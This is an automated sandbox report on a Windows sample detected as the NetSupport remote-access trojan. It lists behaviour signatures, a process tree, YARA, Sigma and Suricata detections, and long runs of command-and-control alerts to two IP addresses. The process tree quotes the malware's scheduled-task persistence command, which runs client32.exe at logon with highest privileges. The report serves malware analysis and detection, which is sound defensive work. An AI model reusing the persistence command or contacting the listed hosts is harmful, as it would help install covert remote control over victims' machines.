Edit tour

Windows Analysis Report
5q1Wm5VlqL.exe

Overview

General Information

Sample name:	5q1Wm5VlqL.exe renamed because original name is a hash value
Original sample name:	f411f07437db9f29222e19af93f72906.exe
Analysis ID:	1569831
MD5:	f411f07437db9f29222e19af93f72906
SHA1:	7ec2b1590b1f2670c1c04c1b9f2d1d021c589a84
SHA256:	5dd4a822034679a3827712848e2c674e01626de2fbacd569b20c634efb45f7be
Tags:	exeuser-abuse_ch
Infos:

Detection

NetSupport RAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

AI detected suspicious sample

Contains functionalty to change the wallpaper

Delayed program exit found

Found evasive API chain (may stop execution after checking mutex)

Uses known network protocols on non-standard ports

Uses schtasks.exe or at.exe to add and modify task schedules

Binary contains a suspicious time stamp

Contains functionality for read data from the clipboard

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to create guard pages, often used to hinder reverse usering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to query network adapater information

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Enables security privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evaded block containing many API calls

Found evasive API chain (date check)

Found evasive API chain checking for process token information

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

Potential key logger detected (key state polling based)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Schtasks From Env Var Folder

Suricata IDS alerts with low severity for network traffic

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Keylogger Generic

Yara detected NetSupport remote tool

Classification

Process Tree

System is w10x64

5q1Wm5VlqL.exe (PID: 4560 cmdline: "C:\Users\user\Desktop\5q1Wm5VlqL.exe" MD5: F411F07437DB9F29222E19AF93F72906)

1stovl.exe (PID: 1136 cmdline: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe MD5: 84F3BCBD539E959C3770643D1F1712FF)

schtasks.exe (PID: 1340 cmdline: "C:\Windows\system32\schtasks.exe" /create /sc ONLOGON /tn "DNScache" /tr "C:\Users\user\AppData\Local\DNScache\client32.exe" /RL HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 3200 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

client32.exe (PID: 4900 cmdline: C:\Users\user\AppData\Local\DNScache\client32.exe MD5: 9497AECE91E1CCC495CA26AE284600B9)

rundll32.exe (PID: 6036 cmdline: "C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user\AppData\Local\Temp\IXP000.TMP\" MD5: EF3179D498793BF4234F708D3BE28633)

client32.exe (PID: 2924 cmdline: C:\Users\user\AppData\Local\DNScache\client32.exe MD5: 9497AECE91E1CCC495CA26AE284600B9)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author
C:\Users\user\AppData\Local\DNScache\PCICHEK.DLL	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
C:\Users\user\AppData\Local\DNScache\pcicapi.dll	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
C:\Users\user\AppData\Local\DNScache\client32.exe	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
C:\Users\user\AppData\Local\DNScache\AudioCapture.dll	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
C:\Users\user\AppData\Local\DNScache\TCCTL32.DLL	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
C:\Users\user\AppData\Local\DNScache\HTCTL32.DLL	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
C:\Users\user\AppData\Local\DNScache\PCICL32.DLL	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
C:\Users\user\AppData\Local\DNScache\PCICL32.DLL	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
Click to see the 3 entries

Memory Dumps

Source	Rule	Description	Author
00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000009.00000002.2300141192.000000001118F000.00000002.00000001.01000000.00000009.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000009.00000002.2300141192.000000001118F000.00000002.00000001.01000000.00000009.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000007.00000002.4615887616.000000006C510000.00000002.00000001.01000000.0000000D.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000002.00000002.2287672288.000000000152E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000009.00000002.2300236676.00000000111DC000.00000004.00000001.01000000.00000009.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
Process Memory Space: 1stovl.exe PID: 1136	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
Process Memory Space: client32.exe PID: 4900	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: client32.exe PID: 4900	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
Process Memory Space: client32.exe PID: 2924	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: client32.exe PID: 2924	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
Click to see the 8 entries

Unpacked PEs

Source	Rule	Description	Author
7.0.client32.exe.400000.0.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
9.0.client32.exe.400000.0.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
7.2.client32.exe.6c7e0000.5.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
9.2.client32.exe.6c800000.5.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
9.2.client32.exe.6c7e0000.4.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
7.2.client32.exe.6c800000.6.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
9.2.client32.exe.400000.0.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
7.2.client32.exe.400000.0.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
7.2.client32.exe.111b32a0.2.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
7.2.client32.exe.111b32a0.2.raw.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
9.2.client32.exe.111b32a0.2.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
9.2.client32.exe.111b32a0.2.raw.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
7.2.client32.exe.6c4d0000.3.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
9.2.client32.exe.11000000.1.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
9.2.client32.exe.11000000.1.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
7.2.client32.exe.11000000.1.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
7.2.client32.exe.11000000.1.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
Click to see the 12 entries

Sigma Signatures

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: rundll32.exe C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user\AppData\Local\Temp\IXP000.TMP\", EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\5q1Wm5VlqL.exe, ProcessId: 4560, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\system32\schtasks.exe" /create /sc ONLOGON /tn "DNScache" /tr "C:\Users\user\AppData\Local\DNScache\client32.exe" /RL HIGHEST, CommandLine: "C:\Windows\system32\schtasks.exe" /create /sc ONLOGON /tn "DNScache" /tr "C:\Users\user\AppData\Local\DNScache\client32.exe" /RL HIGHEST, CommandLine|base64offset|contains: j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe, ParentImage: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe, ParentProcessId: 1136, ParentProcessName: 1stovl.exe, ProcessCommandLine: "C:\Windows\system32\schtasks.exe" /create /sc ONLOGON /tn "DNScache" /tr "C:\Users\user\AppData\Local\DNScache\client32.exe" /RL HIGHEST, ProcessId: 1340, ProcessName: schtasks.exe

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-06T10:39:20.340865+0100	2803305	3	Unknown Traffic	192.168.2.6	49707	23.254.224.41	443	TCP
2024-12-06T10:39:22.510795+0100	2803305	3	Unknown Traffic	192.168.2.6	49709	23.254.224.41	443	TCP
2024-12-06T10:39:26.049439+0100	2803305	3	Unknown Traffic	192.168.2.6	49712	23.254.224.41	443	TCP
2024-12-06T10:39:31.029828+0100	2803305	3	Unknown Traffic	192.168.2.6	49723	23.254.224.41	443	TCP

ETPRO MALWARE NetSupport RAT CnC Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-06T10:39:34.524193+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:39:34.939226+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:23.621627+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:33.055481+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:34.464439+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:34.665473+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:34.966443+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:35.067455+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:35.067455+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:35.167429+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:35.268714+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:35.368585+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:35.469504+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:35.569481+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:35.670510+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:35.770486+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:35.871478+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:35.972440+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:36.073446+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:36.173445+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:36.273468+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:36.374440+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:36.474462+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:36.575615+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:36.676452+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:36.777448+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:36.877453+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:36.977463+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:37.077560+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:37.177471+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:37.277548+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:37.378501+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:37.478493+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:37.579500+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:37.679478+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:37.779482+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:37.880491+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:37.980474+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:38.083993+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:38.181462+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:38.281499+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:38.383369+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:38.483608+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:38.583661+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:38.684490+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:38.784479+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:38.885472+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:38.987410+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:39.086469+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:39.187466+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:39.288485+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:39.389612+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:39.490549+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:39.591468+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:39.691545+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:39.792464+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:39.892496+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:39.992530+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:40.093466+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:40.193459+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:40.296081+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:40.396476+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:40.497514+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:40.601334+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:40.699517+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:40.798501+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:40.898525+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:40.999512+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:41.100488+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:41.201479+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:41.301562+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:41.401534+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:41.502511+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:41.603509+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:41.703506+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:41.804498+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:41.905479+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:42.005499+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:42.106520+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:42.206534+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:42.306647+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:42.407606+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:42.507575+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:42.611370+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:42.711371+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:42.809681+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:42.911412+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:43.011375+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:43.109532+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:43.209543+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:43.310486+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:43.411530+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:43.512553+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:43.612501+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:43.713552+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:43.813534+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:43.913485+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:44.015263+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:44.114494+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:44.214489+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:44.314487+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:44.415612+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:44.517341+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:44.615512+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:44.717350+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:44.816504+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:44.919356+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:45.017625+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:45.118556+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:45.219547+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:45.319543+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:45.420566+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:45.521536+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:45.622614+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:45.722633+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:45.823553+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:45.924528+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:46.029385+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:46.129097+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:46.229363+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:46.329354+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:46.431372+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:46.531428+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:46.630590+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:46.730709+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:46.831528+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:46.935460+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:47.040638+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:47.140512+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:47.241542+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:47.341572+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:47.441543+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:47.541550+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:47.641548+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:47.742541+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
